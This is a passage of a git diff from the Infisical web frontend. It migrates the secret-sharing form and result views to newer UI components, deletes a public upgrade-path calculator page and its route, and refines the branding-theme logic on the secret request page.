-                          ))}
+                          <SelectTrigger className="w-full">
+                            <SelectValue />
+                          </SelectTrigger>
+                          <SelectContent>
+                            {viewLimitOptions.map(({ label, value: viewLimitValue }) => (
+                              <SelectItem
+                                value={viewLimitValue.toString()}
+                                key={viewLimitValue.toString()}
+                              >
+                                {label}
+                              </SelectItem>
+                            ))}
+                          </SelectContent>
                         </Select>
-                      </FormControl>
+                        {error && <FieldError>{error.message}</FieldError>}
+                      </Field>
                     )}
                   />
                 )}
@@ -376,29 +373,24 @@ export const ShareSecretForm = ({
                     control={control}
                     name="viewLimit"
                     render={({ field: { onChange, ...field }, fieldState: { error } }) => (
-                      <FormControl
-                        label={maxSharedSecretViewLimit ? "Max Views" : undefined}
-                        errorText={error?.message}
-                        isError={Boolean(error)}
-                        className="flex-1"
-                        helperText={
-                          maxSharedSecretViewLimit ? (
-                            <span className="text-yellow-500">
-                              Limited to {maxSharedSecretViewLimit} view
-                              {maxSharedSecretViewLimit === 1 ? "" : "s"} by organization
-                            </span>
-                          ) : undefined
-                        }
-                      >
+                      <Field className="flex-1">
+                        {maxSharedSecretViewLimit && <FieldLabel>Max Views</FieldLabel>}
                         <Input
                           onChange={onChange}
                           {...field}
                           min={1}
                           max={maxSharedSecretViewLimit ?? 1000}
                           type="number"
-                          className="h-[37px]"
+                          isError={Boolean(error)}
                         />
-                      </FormControl>
+                        {maxSharedSecretViewLimit && (
+                          <FieldDescription className="text-info">
+                            Limited to {maxSharedSecretViewLimit} view
+                            {maxSharedSecretViewLimit === 1 ? "" : "s"} by organization
+                          </FieldDescription>
+                        )}
+                        {error && <FieldError>{error.message}</FieldError>}
+                      </Field>
                     )}
                   />
                 )}
@@ -409,37 +401,39 @@ export const ShareSecretForm = ({
                     control={control}
                     name="emails"
                     render={({ field, fieldState: { error } }) => (
-                      <FormControl
-                        label="Emails"
-                        isOptional
-                        helperText={
-                          isAllowingExternalEmails
-                            ? "All recipients will receive a link and need the password to access the secret. They don't need an Infisical account, but a password is mandatory in this case."
-                            : "Recipients must have an Infisical account to verify identity"
-                        }
-                        tooltipText={
-                          <>
-                            <p>
-                              Unique secret links will be emailed to each individual. The secret
-                              will only be accessible to those links.
-                            </p>
-                            <p className="mt-2">
-                              {isAllowingExternalEmails
-                                ? "External recipients (user without an Infisical account) will need the password to view the secret. Authorized recipients will also need a password if the secret is password-protected."
-                                : "Recipients must have an Infisical account to verify their identity."}
-                            </p>
-                          </>
-                        }
-                        tooltipClassName="max-w-sm"
-                        isError={Boolean(error)}
-                        errorText={error?.message}
-                      >
+                      <Field>
+                        <FieldLabel>
+                          Emails <span className="text-xs text-muted italic">- Optional</span>
+                          <Tooltip>
+                            <TooltipTrigger asChild>
+                              <Info className="size-3 cursor-help text-muted" />
+                            </TooltipTrigger>
+                            <TooltipContent className="max-w-sm">
+                              <p>
+                                Unique secret links will be emailed to each individual. The secret
+                                will only be accessible to those links.
+                              </p>
+                              <p className="mt-2">
+                                {isAllowingExternalEmails
+                                  ? "External recipients (user without an Infisical account) will need the password to view the secret. Authorized recipients will also need a password if the secret is password-protected."
+                                  : "Recipients must have an Infisical account to verify their identity."}
+                              </p>
+                            </TooltipContent>
+                          </Tooltip>
+                        </FieldLabel>
                         <Input
                           {...field}
                           placeholder="user1@example.com, user2@example.com"
                           autoComplete="off"
+                          isError={Boolean(error)}
                         />
-                      </FormControl>
+                        <FieldDescription>
+                          {isAllowingExternalEmails
+                            ? "All recipients will receive a link and need the password to access the secret. They don't need an Infisical account, but a password is mandatory in this case."
+                            : "Recipients must have an Infisical account to verify identity"}
+                        </FieldDescription>
+                        {error && <FieldError>{error.message}</FieldError>}
+                      </Field>
                     )}
                   />
                   <Controller
@@ -449,43 +443,41 @@ export const ShareSecretForm = ({
                       field: { onChange, value: isChecked, ...field },
                       fieldState: { error }
                     }) => (
-                      <FormControl errorText={error?.message} isError={Boolean(error)}>
-                        <div className="flex items-center">
-                          <Switch
-                            className={`mr-2 ml-0 bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-primary ${isOrgAccess ? "opacity-50" : ""}`}
-                            thumbClassName="bg-mineshaft-800"
-                            containerClassName={`flex-row-reverse w-fit ${isOrgAccess ? "pointer-events-none opacity-50" : ""}`}
-                            isChecked={isOrgAccess ? false : (isChecked ?? false)}
-                            onCheckedChange={onChange}
-                            isDisabled={isOrgAccess}
-                            id="allow-external-emails"
-                            {...field}
-                          >
-                            <span className="flex items-center">
-                              Allow external recipients
-                              <Tooltip content="When enabled, the defined emails will receive the secret link via email but will need the password to access the secret.">
-                                <FontAwesomeIcon
-                                  icon={faInfoCircle}
-                                  className="ml-2 !align-[-0.2em] text-mineshaft-400"
-                                />
-                              </Tooltip>
-                            </span>
-                          </Switch>
-                          {!allowSecretSharingOutsideOrganization && (
-                            <span className="inline-flex items-center">
-                              <Tooltip
-                                content="External sharing is disabled by your organization"
-                                className="items-center"
-                              >
-                                <FontAwesomeIcon
-                                  icon={faLock}
-                                  className="ml-2 !align-[-0.2em] text-mineshaft-400"
-                                />
+                      <Field orientation="horizontal">
+                        <Switch
+                          checked={isOrgAccess ? false : (isChecked ?? false)}
+                          onCheckedChange={onChange}
+                          variant="org"
+                          disabled={isOrgAccess}
+                          id="allow-external-emails"
+                          {...field}
+                        />
+                        <FieldLabel className="flex-auto">
+                          <span className="flex items-center">
+                            Allow external recipients
+                            <Tooltip>
+                              <TooltipTrigger asChild>
+                                <Info className="ml-2 size-3 cursor-help text-muted" />
+                              </TooltipTrigger>
+                              <TooltipContent>
+                                When enabled, the defined emails will receive the secret link via
+                                email but will need the password to access the secret.
+                              </TooltipContent>
+                            </Tooltip>
+                            {!allowSecretSharingOutsideOrganization && (
+                              <Tooltip>
+                                <TooltipTrigger asChild>
+                                  <Lock className="ml-2 size-3 text-muted" />
+                                </TooltipTrigger>
+                                <TooltipContent>
+                                  External sharing is disabled by your organization
+                                </TooltipContent>
                               </Tooltip>
-                            </span>
-                          )}
-                        </div>
-                      </FormControl>
+                            )}
+                          </span>
+                        </FieldLabel>
+                        {error && <FieldError>{error.message}</FieldError>}
+                      </Field>
                     )}
                   />
                 </>
@@ -493,13 +485,22 @@ export const ShareSecretForm = ({
             </AccordionContent>
           </AccordionItem>
         </Accordion>
-
         <div className="flex w-full justify-end">
+          {isPublic && (
+            <Badge variant="ghost" className="mt-auto mr-auto">
+              <img
+                src="/images/logotransparent_trimmed.png"
+                alt="Infisical"
+                className="mr-0.5 h-[8px]"
+              />
+              Powered by Infisical
+            </Badge>
+          )}
           <Button
-            className="mt-4"
-            size="sm"
+            size="md"
+            variant={isPublic ? "project" : "org"}
             type="submit"
-            isLoading={isSubmitting}
+            isPending={isSubmitting}
             isDisabled={isSubmitting}
           >
             Create Secret Link
@@ -511,48 +512,47 @@ export const ShareSecretForm = ({
   if (secretLink === "")
     return (
       <>
-        <div className="mt-1 flex w-full items-center justify-center gap-2">
-          <FontAwesomeIcon icon={faCheck} className="text-green-500" />
+        <div className="relative flex items-center justify-center rounded-lg border border-border bg-container p-4 pr-6 text-foreground/85">
+          <Check className="mr-2 size-4 text-success" />
           <span>Shared secret link has been emailed to select users.</span>
         </div>
         <Button
-          className="mt-6 w-full bg-mineshaft-700 py-3 text-bunker-200"
-          colorSchema="primary"
-          variant="outline_bg"
-          size="sm"
+          className="w-full"
+          variant={isPublic ? "project" : "org"}
+          size="lg"
           onClick={() => setSecretLink(null)}
-          rightIcon={<FontAwesomeIcon icon={faRedo} className="pl-2" />}
         >
           Share Another Secret
+          <ForwardIcon />
         </Button>
       </>
     );
 
   return (
     <>
-      <div className="mr-2 flex items-center justify-end rounded-md bg-white/5 p-2 text-base text-gray-400">
+      <div className="relative flex items-center justify-between rounded-md border border-border bg-container p-2 pr-5 pl-3 text-base text-label">
         <p className="mr-4 break-all">{secretLink}</p>
         <IconButton
-          ariaLabel="copy icon"
-          colorSchema="secondary"
-          className="group relative ml-2"
+          aria-label="copy icon"
+          variant="ghost-muted"
+          size="sm"
+          className="absolute top-1 right-1"
           onClick={() => {
             navigator.clipboard.writeText(secretLink || "");
             setCopyTextSecret("Copied");
           }}
         >
-          <FontAwesomeIcon icon={isCopyingSecret ? faCheck : faCopy} />
+          {isCopyingSecret ? <ClipboardCheck className="size-4" /> : <Copy className="size-4" />}
         </IconButton>
       </div>
       <Button
-        className="mt-4 w-full bg-mineshaft-700 py-3 text-bunker-200"
-        colorSchema="primary"
-        variant="outline_bg"
-        size="sm"
+        className="w-full"
+        variant={isPublic ? "project" : "org"}
+        size="lg"
         onClick={() => setSecretLink(null)}
-        rightIcon={<FontAwesomeIcon icon={faRedo} className="pl-2" />}
       >
         Share Another Secret
+        <ForwardIcon />
       </Button>
     </>
   );
diff --git a/frontend/src/pages/public/UpgradePathPage/UpgradePathPage.tsx b/frontend/src/pages/public/UpgradePathPage/UpgradePathPage.tsx
deleted file mode 100644
index 0e88fe59e90..00000000000
--- a/frontend/src/pages/public/UpgradePathPage/UpgradePathPage.tsx
+++ /dev/null
@@ -1,554 +0,0 @@
-/* eslint-disable no-nested-ternary */
-import React, { useMemo, useState } from "react";
-import { Helmet } from "react-helmet";
-import { SingleValue } from "react-select";
-import { faExternalLink } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
-
-import { createNotification } from "@app/components/notifications";
-import { Button, FilterableSelect, FormControl } from "@app/components/v2";
-
-import {
-  useCalculateUpgradePath,
-  useGetUpgradePathVersions
-} from "../../../hooks/api/upgradePath/queries";
-
-type VersionOption = {
-  label: string;
-  value: string;
-  isLatest: boolean;
-};
-
-const formatVersionOption = (option: VersionOption) => (
-  <div className="flex items-center justify-between">
-    <span>{option.label}</span>
-    {option.isLatest && <span className="text-xs text-primary">(Latest)</span>}
-  </div>
-);
-interface UpgradeResult {
-  path: Array<{
-    version: string;
-    name: string;
-    publishedAt: string;
-    prerelease: boolean;
-  }>;
-  breakingChanges: Array<{
-    version: string;
-    changes: Array<{
-      title: string;
-      description: string;
-      action: string;
-    }>;
-  }>;
-  features: Array<{
-    version: string;
-    name: string;
-    body: string;
-    publishedAt: string;
-  }>;
-  hasDbMigration: boolean;
-  config: Record<string, unknown>;
-}
-
-export const UpgradePathPage = () => {
-  const [fromVersion, setFromVersion] = useState<string | null>(null);
-  const [toVersion, setToVersion] = useState<string | null>(null);
-  const [upgradeResult, setUpgradeResult] = useState<UpgradeResult | null>(null);
-
-  const {
-    data: versions,
-    isLoading: versionsLoading,
-    isFetching: versionsFetching
-  } = useGetUpgradePathVersions({
-    enabled: true,
-    staleTime: 24 * 60 * 60 * 1000,
-    refetchOnWindowFocus: false
-  });
-
-  const calculateMutation = useCalculateUpgradePath();
-
-  // Handle mutation results
-  React.useEffect(() => {
-    if (calculateMutation.isSuccess && calculateMutation.data) {
-      setUpgradeResult(calculateMutation.data);
-    }
-  }, [calculateMutation.isSuccess, calculateMutation.data]);
-
-  React.useEffect(() => {
-    if (calculateMutation.isError) {
-      createNotification({
-        text:
-          (calculateMutation.error as any)?.response?.data?.message ||
-          "Failed to calculate upgrade path",
-        type: "error"
-      });
-    }
-  }, [calculateMutation.isError, calculateMutation.error]);
-
-  const versionOptions = useMemo(() => {
-    if (!versions?.versions) return [];
-
-    return versions.versions
-      .filter((version) => !version.tagName.includes("nightly"))
-      .map((version) => ({
-        label: version.tagName,
-        value: version.tagName,
-        isLatest: versions.versions[0]?.tagName === version.tagName
-      }));
-  }, [versions?.versions]);
-
-  const handleFromVersionSelect = (value: unknown) => {
-    const selected = value as SingleValue<VersionOption>;
-    setFromVersion(selected?.value || null);
-  };
-
-  const handleToVersionSelect = (value: unknown) => {
-    const selected = value as SingleValue<VersionOption>;
-    setToVersion(selected?.value || null);
-  };
-
-  const handleCalculate = () => {
-    if (!fromVersion || !toVersion) {
-      createNotification({
-        text: "Please select both from and to versions",
-        type: "error"
-      });
-      return;
-    }
-
-    if (fromVersion === toVersion) {
-      createNotification({
-        text: "From and To versions cannot be the same",
-        type: "error"
-      });
-      return;
-    }
-
-    calculateMutation.mutate({
-      fromVersion,
-      toVersion
-    });
-  };
-
-  return (
-    <>
-      <Helmet>
-        <title>Infisical Upgrade Path Tool | Infisical</title>
-        <link rel="icon" href="/infisical.ico" />
-        <meta property="og:image" content="/images/message.png" />
-        <meta property="og:title" content="Infisical Upgrade Path Tool" />
-        <meta
-          name="og:description"
-          content="Plan your Infisical upgrade path safely and efficiently."
-        />
-      </Helmet>
-      <div className="dark h-full">
-        <div className="flex h-screen flex-col justify-between overflow-auto bg-mineshaft-900 text-bunker-200 dark:scheme-dark">
-          <div />
-          <div className="mx-auto w-full max-w-4xl px-4 py-4 md:px-0">
-            {/* Header */}
-            <div className="mb-8 text-center">
-              <div className="mb-4 flex justify-center pt-8">
-                <a target="_blank" rel="noopener noreferrer" href="https://infisical.com">
-                  <img
-                    src="/images/gradientLogo.svg"
-                    height={90}
-                    width={120}
-                    alt="Infisical logo"
-                    className="cursor-pointer"
-                  />
-                </a>
-              </div>
-              <h1 className="bg-linear-to-b from-white to-bunker-200 bg-clip-text text-center text-4xl font-medium text-transparent">
-                Upgrade your Infisical Version
-              </h1>
-            </div>
-
-            {/* Calculator Card */}
-            <div className="mb-8 rounded-lg border border-mineshaft-600 bg-mineshaft-800 p-6">
-              <h2 className="mb-6 text-xl font-medium text-bunker-200">Calculate Upgrade Path</h2>
-              <div className="space-y-6">
-                <div className="grid grid-cols-1 gap-6 md:grid-cols-2">
-                  {/* From Version Selector */}
-                  <FormControl label="From Version" isRequired>
-                    <FilterableSelect
-                      options={versionOptions}
-                      value={versionOptions.find((opt) => opt.value === fromVersion) || null}
-                      onChange={handleFromVersionSelect}
-                      placeholder="Search or select version..."
-                      isLoading={versionsLoading || versionsFetching}
-                      isDisabled={versionsLoading || versionsFetching}
-                      isSearchable
-                      isClearable
-                      menuPortalTarget={document.body}
-                      formatOptionLabel={formatVersionOption}
-                    />
-                  </FormControl>
-
-                  {/* To Version Selector */}
-                  <FormControl label="To Version" isRequired>
-                    <FilterableSelect
-                      options={versionOptions}
-                      value={versionOptions.find((opt) => opt.value === toVersion) || null}
-                      onChange={handleToVersionSelect}
-                      placeholder="Search or select version..."
-                      isLoading={versionsLoading || versionsFetching}
-                      isDisabled={versionsLoading || versionsFetching}
-                      isSearchable
-                      isClearable
-                      menuPortalTarget={document.body}
-                      formatOptionLabel={formatVersionOption}
-                    />
-                  </FormControl>
-                </div>
-
-                <Button
-                  onClick={handleCalculate}
-                  isLoading={calculateMutation.isPending}
-                  className="w-full bg-primary font-medium text-black hover:bg-primary/80"
-                >
-                  {calculateMutation.isPending ? "Calculating..." : "Calculate Upgrade Path"}
-                </Button>
-              </div>
-            </div>
-
-            {/* Results Section */}
-            {upgradeResult && (
-              <div className="space-y-6">
-                {/* Action Required Banner */}
-                {(() => {
-                  const versionsWithBreakingChanges = upgradeResult.breakingChanges
-                    .filter((bc) => bc.changes.length > 0)
-                    .map((bc) => bc.version);
-
-                  const versionsWithDbMigrations = upgradeResult.path
-                    .filter((step, index) => {
-                      const isStartingVersion = index === 0;
-                      if (isStartingVersion) return false;
-
-                      const versionConfig = upgradeResult.config as Record<string, any>;
-
-                      const possibleKeys = [
-                        step.version,
-                        step.version.replace(/^v/, ""),
-                        step.version.replace(/^infisical\/v?/, ""),
-                        step.version.replace(/^infisical\/v?/, "").replace(/-[a-zA-Z]+$/, "")
-                      ];
-
-                      const dbSchemaChanges = possibleKeys
-                        .map((key) => versionConfig?.[key]?.db_schema_changes)
-                        .find((changes) => changes);
-
-                      return (
-                        dbSchemaChanges &&
-                        (typeof dbSchemaChanges === "string"
-                          ? dbSchemaChanges.trim()
-                          : dbSchemaChanges)
-                      );
-                    })
-                    .map((step) => step.version);
-
-                  const allConflictVersions = [
-                    ...new Set([...versionsWithBreakingChanges, ...versionsWithDbMigrations])
-                  ];
-                  const hasIssues = allConflictVersions.length > 0;
-
-                  return (
-                    <div
-                      className={`rounded-lg border p-4 ${
-                        hasIssues
-                          ? "border-yellow-500/20 bg-yellow-500/10"
-                          : "border-green-500/20 bg-green-500/10"
-                      }`}
-                    >
-                      <div className="flex items-center space-x-3">
-                        <div className="shrink-0">
-                          {hasIssues ? (
-                            <svg
-                              className="h-5 w-5 text-yellow-400"
-                              fill="currentColor"
-                              viewBox="0 0 20 20"
-                            >
-                              <path
-                                fillRule="evenodd"
-                                d="M8.257 3.099c.765-1.36 2.722-1.36 3.486 0l5.58 9.92c.75 1.334-.213 2.98-1.742 2.98H4.42c-1.53 0-2.493-1.646-1.743-2.98l5.58-9.92zM11 13a1 1 0 11-2 0 1 1 0 012 0zm-1-8a1 1 0 00-1 1v3a1 1 0 002 0V6a1 1 0 00-1-1z"
-                                clipRule="evenodd"
-                              />
-                            </svg>
-                          ) : (
-                            <svg
-                              className="h-5 w-5 text-green-400"
-                              fill="currentColor"
-                              viewBox="0 0 20 20"
-                            >
-                              <path
-                                fillRule="evenodd"
-                                d="M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z"
-                                clipRule="evenodd"
-                              />
-                            </svg>
-                          )}
-                        </div>
-                        <div className="flex-1">
-                          <h3
-                            className={`font-medium ${
-                              hasIssues ? "text-yellow-400" : "text-green-400"
-                            }`}
-                          >
-                            {hasIssues ? "Action Required:" : "Ready to Upgrade:"}
-                          </h3>
-                          <p className="mt-1 text-sm text-bunker-300">
-                            {hasIssues
-                              ? `Your upgrade path contains conflicts in the following versions: ${allConflictVersions.join(", ")}. Please review and resolve each item before proceeding to the next version.`
-                              : "Your upgrade path is clear with no breaking changes or conflicts. You can proceed with the upgrade."}
-                          </p>
-                        </div>
-                      </div>
-                    </div>
-                  );
-                })()}
-
-                {/* Upgrade Steps */}
-                <div className="rounded-lg border border-mineshaft-600 bg-mineshaft-800 p-6">
-                  <div className="mb-6 flex items-center space-x-2">
-                    <svg
-                      className="h-5 w-5 text-bunker-300"
-                      fill="none"
-                      stroke="currentColor"
-                      viewBox="0 0 24 24"
-                    >
-                      <path
-                        strokeLinecap="round"
-                        strokeLinejoin="round"
-                        strokeWidth={2}
-                        d="M13 7l5 5m0 0l-5 5m5-5H6"
-                      />
-                    </svg>
-                    <h2 className="text-xl font-medium text-bunker-200">Upgrade Steps</h2>
-                  </div>
-
-                  <div className="space-y-6">
-                    {(() => {
-                      const pathSteps = upgradeResult.path.map((step) => ({
-                        ...step,
-                        hasGithubRelease: true
-                      }));
-
-                      const breakingChangeSteps = upgradeResult.breakingChanges
-                        .filter(
-                          (bc) =>
-                            !upgradeResult.path.some((step) => {
-                              const normalizeVersion = (v: string) =>
-                                v.replace(/^(infisical\/)?v?/, "").replace(/-[a-zA-Z]+$/, "");
-                              return (
-                                normalizeVersion(step.version) === normalizeVersion(bc.version)
-                              );
-                            })
-                        )
-                        .map((bc) => ({
-                          version: bc.version,
-                          name: bc.version,
-                          publishedAt: new Date().toISOString(),
-                          prerelease: false,
-                          hasGithubRelease: false
-                        }));
-
-                      const allSteps = [...pathSteps, ...breakingChangeSteps];
-
-                      allSteps.sort((a, b) => {
-                        const normalizeForSort = (v: string) => {
-                          const cleaned = v
-                            .replace(/^(infisical\/)?v?/, "")
-                            .replace(/-[a-zA-Z]+$/, "");
-                          const parts = cleaned.split(".").map(Number);
-                          return parts[0] * 1000000 + (parts[1] || 0) * 1000 + (parts[2] || 0);
-                        };
-                        return normalizeForSort(a.version) - normalizeForSort(b.version);
-                      });
-
-                      return allSteps;
-                    })().map((step, index, allSteps) => {
-                      const isFirst = index === 0;
-                      const isLast = index === allSteps.length - 1;
-
-                      const versionChanges = upgradeResult.breakingChanges.find((bc) => {
-                        if (bc.version === step.version) return true;
-
-                        const normalizeVersion = (v: string) => {
-                          return v.replace(/^(infisical\/)?v?/, "").replace(/-[a-zA-Z]+$/, "");
-                        };
-
-                        const normalizedStep = normalizeVersion(step.version);
-                        const normalizedBC = normalizeVersion(bc.version);
-
-                        return normalizedStep === normalizedBC;
-                      });
-
-                      const versionConfig = upgradeResult.config as Record<string, any>;
-
-                      const possibleKeys = [
-                        step.version,
-                        step.version.replace(/^v/, ""),
-                        step.version.replace(/^infisical\/v?/, ""),
-                        step.version.replace(/^infisical\/v?/, "").replace(/-[a-zA-Z]+$/, "")
-                      ];
-
-                      const dbMigrationDescription = possibleKeys
-                        .map((key) => versionConfig?.[key]?.db_schema_changes)
-                        .find((changes) => changes);
-
-                      const hasDbMigration =
-                        !isFirst &&
-                        dbMigrationDescription &&
-                        (typeof dbMigrationDescription === "string"
-                          ? dbMigrationDescription.trim()
-                          : dbMigrationDescription);
-
-                      const hasBreakingChanges =
-                        versionChanges && versionChanges.changes.length > 0;
-
-                      return (
-                        <div key={step.version} className="relative flex">
-                          {/* Timeline Column */}
-                          <div className="mr-4 flex flex-col items-center">
-                            <div className="z-10 flex h-8 w-8 shrink-0 items-center justify-center rounded-full border-2 border-primary bg-primary text-black">
-                              <span className="text-xs font-bold">{index + 1}</span>
-                            </div>
-
-                            {/* Timeline Line */}
-                            {!isLast && (
-                              <div className="-mt-4 -mb-4 h-full w-px flex-1 bg-mineshaft-500" />
-                            )}
-                          </div>
-
-                          {/* Content Column */}
-                          <div className="flex-1 pb-6">
-                            {/* Version Header */}
-                            <div className="flex items-center space-x-3">
-                              <h3 className="font-medium text-bunker-200">{step.version}</h3>
-                              {isFirst && (
-                                <span className="rounded-sm border border-primary/30 bg-primary/20 px-2 py-1 text-xs font-medium text-primary">
-                                  Starting Version
-                                </span>
-                              )}
-                              {isLast && (
-                                <span className="rounded-sm border border-primary/30 bg-primary/20 px-2 py-1 text-xs font-medium text-primary">
-                                  Target Version
-                                </span>
-                              )}
-                              {step.hasGithubRelease ? (
-                                <a
-                                  href={`https://github.com/Infisical/infisical/releases/tag/${step.version}`}
-                                  target="_blank"
-                                  rel="noopener noreferrer"
-                                  className="inline-flex items-center space-x-1 text-xs text-primary transition-colors hover:text-primary/80"
-                                >
-                                  <FontAwesomeIcon icon={faExternalLink} className="h-3 w-3" />
-                                  <span>View Changelog</span>
-                                </a>
-                              ) : (
-                                <span className="inline-flex items-center space-x-1 text-xs text-bunker-400">
-                                  <span>No GitHub Release</span>
-                                </span>
-                              )}
-                            </div>
-
-                            {/* Version Notes */}
-                            {(() => {
-                              if (isFirst) return null;
-
-                              const notes = possibleKeys
-                                .map((key) => versionConfig?.[key]?.notes)
-                                .find((note) => note);
-
-                              if (!notes) return null;
-
-                              return (
-                                <div className="mt-3 rounded-sm border border-bunker-500/20 bg-bunker-700/20 p-3">
-                                  <div className="text-sm text-bunker-300">{notes}</div>
-                                </div>
-                              );
-                            })()}
-
-                            {/* Database Schema Changes */}
-                            {hasDbMigration && (
-                              <div className="mt-3 rounded-sm border border-yellow-500/20 bg-yellow-500/10 p-3">
-                                <div className="mb-1 text-sm font-medium text-yellow-400">
-                                  Database Schema Changes Required
-                                </div>
-                                <div className="mb-2 text-xs text-bunker-300">
-                                  {typeof dbMigrationDescription === "string"
-                                    ? dbMigrationDescription
-                                    : "This version includes database schema changes that require migrations."}
-                                </div>
-                                <div className="text-xs font-medium text-yellow-400">
-                                  Action:{" "}
-                                  <span className="font-normal italic">
-                                    Make sure to backup your database before proceeding
-                                  </span>
-                                </div>
-                              </div>
-                            )}
-
-                            {/* Breaking Changes */}
-                            {hasBreakingChanges && (
-                              <div className="mt-3 space-y-3">
-                                <div className="flex items-center space-x-2">
-                                  <svg
-                                    className="h-4 w-4 text-red-400"
-                                    fill="currentColor"
-                                    viewBox="0 0 20 20"
-                                  >
-                                    <path
-                                      fillRule="evenodd"
-                                      d="M8.257 3.099c.765-1.36 2.722-1.36 3.486 0l5.58 9.92c.75 1.334-.213 2.98-1.742 2.98H4.42c-1.53 0-2.493-1.646-1.743-2.98l5.58-9.92zM11 13a1 1 0 11-2 0 1 1 0 012 0zm-1-8a1 1 0 00-1 1v3a1 1 0 002 0V6a1 1 0 00-1-1z"
-                                      clipRule="evenodd"
-                                    />
-                                  </svg>
-                                  <span className="text-sm font-medium text-red-400">
-                                    Breaking Changes ({versionChanges.changes.length})
-                                  </span>
-                                </div>
-                                {versionChanges.changes.map((change) => (
-                                  <div
-                                    key={`${step.version}-${change.title}`}
-                                    className="rounded-sm border border-red-500/20 bg-red-500/10 p-3"
-                                  >
-                                    <div className="mb-1 text-sm font-medium text-red-400">
-                                      {change.title}
-                                    </div>
-                                    <div className="mb-2 text-xs text-bunker-300">
-                                      {change.description}
-                                    </div>
-                                    <div className="text-xs font-medium text-red-400">
-                                      Action:{" "}
-                                      <span className="font-normal italic">{change.action}</span>
-                                    </div>
-                                  </div>
-                                ))}
-                              </div>
-                            )}
-                          </div>
-                        </div>
-                      );
-                    })}
-                  </div>
-                </div>
-              </div>
-            )}
-          </div>
-          <div className="w-full bg-mineshaft-800 p-2">
-            <p className="text-center text-sm text-bunker-400">
-              Made with ❤️ by{" "}
-              <a className="text-primary hover:text-primary/80" href="https://infisical.com">
-                Infisical
-              </a>
-              <br />
-              235 2nd st, San Francisco, California, 94105, United States. 🇺🇸
-            </p>
-          </div>
-        </div>
-      </div>
-    </>
-  );
-};
diff --git a/frontend/src/pages/public/UpgradePathPage/route.tsx b/frontend/src/pages/public/UpgradePathPage/route.tsx
deleted file mode 100644
index cc91b74e45c..00000000000
--- a/frontend/src/pages/public/UpgradePathPage/route.tsx
+++ /dev/null
@@ -1,7 +0,0 @@
-import { createFileRoute } from "@tanstack/react-router";
-
-import { UpgradePathPage } from "./UpgradePathPage";
-
-export const Route = createFileRoute("/upgrade-path")({
-  component: UpgradePathPage
-});
diff --git a/frontend/src/pages/public/ViewSecretRequestByIDPage/ViewSecretRequestByIDPage.tsx b/frontend/src/pages/public/ViewSecretRequestByIDPage/ViewSecretRequestByIDPage.tsx
index e63ccb765bd..bd949d51422 100644
--- a/frontend/src/pages/public/ViewSecretRequestByIDPage/ViewSecretRequestByIDPage.tsx
+++ b/frontend/src/pages/public/ViewSecretRequestByIDPage/ViewSecretRequestByIDPage.tsx
@@ -1,22 +1,30 @@
 import { useEffect, useMemo, useState } from "react";
 import { Helmet } from "react-helmet";
-import { faArrowRight } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { useNavigate, useParams } from "@tanstack/react-router";
 import { AxiosError } from "axios";
 import { addSeconds, formatISO } from "date-fns";
-import { twMerge } from "tailwind-merge";
 
+import { AuthPageBackground } from "@app/components/auth/AuthPageBackground";
+import { AuthPageFooter } from "@app/components/auth/AuthPageFooter";
+import { AuthPageHeader } from "@app/components/auth/AuthPageHeader";
 import { createNotification } from "@app/components/notifications";
-import { Lottie } from "@app/components/v2";
+import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  PageLoader
+} from "@app/components/v3";
 import { SessionStorageKeys } from "@app/const";
 import { ROUTE_PATHS } from "@app/const/routes";
 import { TBrandingConfig, useGetSecretRequestById } from "@app/hooks/api/secretSharing";
 
 import {
   adjustColor,
+  DEFAULT_BRAND_PRIMARY_COLOR,
+  DEFAULT_BRAND_SECONDARY_COLOR,
   DEFAULT_FAVICON_URL,
-  DEFAULT_LOGO_URL,
   isLightColor
 } from "../ViewSharedSecretByIDPage/ViewSharedSecretByIDPage";
 import { SecretRequestErrorContainer } from "./components/SecretErrorContainer";
@@ -61,7 +69,6 @@ export const ViewSecretRequestByIDPage = () => {
 
   useEffect(() => {
     if (isUnauthorized && !isInvalidCredential) {
-      // persist current URL in session storage so that we can come back to this after successful login
       sessionStorage.setItem(
         SessionStorageKeys.ORG_LOGIN_SUCCESS_REDIRECT_URL,
         JSON.stringify({
@@ -75,9 +82,7 @@ export const ViewSecretRequestByIDPage = () => {
         text: "Login is required in order to access the shared secret."
       });
 
-      navigate({
-        to: "/login"
-      });
+      navigate({ to: "/login" });
     }
 
     if (isForbidden) {
@@ -89,37 +94,40 @@ export const ViewSecretRequestByIDPage = () => {
   }, [error]);
 
   const brandingConfig = secretRequest?.brandingConfig || savedBrandingConfig;
-  const hasCustomBranding = !!brandingConfig;
+  const hasCustomBranding =
+    !!brandingConfig &&
+    (brandingConfig.hasLogo || brandingConfig.hasFavicon || !!brandingConfig.primaryColor);
 
   const logoUrl = brandingConfig?.hasLogo
     ? `/api/v1/shared-secrets/requests/${id}/branding/brand-logo`
-    : DEFAULT_LOGO_URL;
+    : undefined;
   const faviconUrl = brandingConfig?.hasFavicon
     ? `/api/v1/shared-secrets/requests/${id}/branding/brand-favicon`
     : DEFAULT_FAVICON_URL;
 
   const brandingTheme = useMemo(() => {
-    if (!brandingConfig?.primaryColor) {
+    if (!hasCustomBranding) {
       return undefined;
     }
 
-    const primary = brandingConfig.primaryColor;
-    const secondary = brandingConfig.secondaryColor || primary;
+    const primary = brandingConfig?.primaryColor || DEFAULT_BRAND_PRIMARY_COLOR;
+    const secondary =
+      brandingConfig?.secondaryColor ||
+      brandingConfig?.primaryColor ||
+      DEFAULT_BRAND_SECONDARY_COLOR;
     const isSecondaryLight = isLightColor(secondary);
 
     return {
       primaryColor: primary,
       secondaryColor: secondary,
-      // Text colors based on secondary brightness (for components)
       textColor: isSecondaryLight ? "#1a1a1a" : "#f5f5f5",
       textMutedColor: isSecondaryLight ? "#1a1a1acc" : "#f5f5f5cc",
-      // Panel and components based on secondary color
       panelBg: secondary,
       panelBorder: adjustColor(secondary, isSecondaryLight ? -30 : 30),
       inputBg: adjustColor(secondary, isSecondaryLight ? -15 : 15),
       buttonBg: secondary
     };
-  }, [brandingConfig?.primaryColor, brandingConfig?.secondaryColor]);
